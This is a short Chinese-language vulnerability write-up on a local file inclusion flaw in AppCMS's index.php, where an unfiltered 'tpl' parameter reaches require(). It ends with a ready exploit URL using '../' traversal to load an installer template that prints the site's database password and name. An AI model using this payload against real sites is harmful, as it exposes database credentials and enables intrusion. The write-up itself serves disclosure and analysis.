AppCMS本地文件包含漏洞

直接看index.php:

193 if (substr($tpl, strlen($tpl)-4, 4) == '.php') {
194     $tmp_file = '/templates/' . $from_mobile . '/' . $tpl;
195 } else {
196     $tmp_file = '/templates/' . $from_mobile . '/' . $tpl .
'.php';
197 }
198 if (!file_exists(dirname(__FILE__) . $tmp_file)) die('模板页面不存
在' . $tmp_file);
199 require(dirname(__FILE__) . $tmp_file);

194行的$tpl变量是可以控制的:

133 $tpl = isset($_GET['tpl'])?$_GET['tpl']:'index';

但这里没有过滤"../",可以直接require文件。这样就能执行php代码了。执行 什么好呢。看install/templates/step4.php的代码:

<th>数据库密码:</th>
<td><input type="text" id="dbpass" name="dbpass" value="<?php echo DB_PASS;?>" /></td>
</tr>
<tr>
<th>数据库名称:</th>
<td><input type="text" id="dbname" name="dbname"  value="<?php echo DB_DBNAME;?>" /> </td>

如提交 http://test/index.php?tpl=../../install/templates/step4.php ,它会读取数据库配置文件,然后echo出来,如果已经安装了App,直接就echo出来了。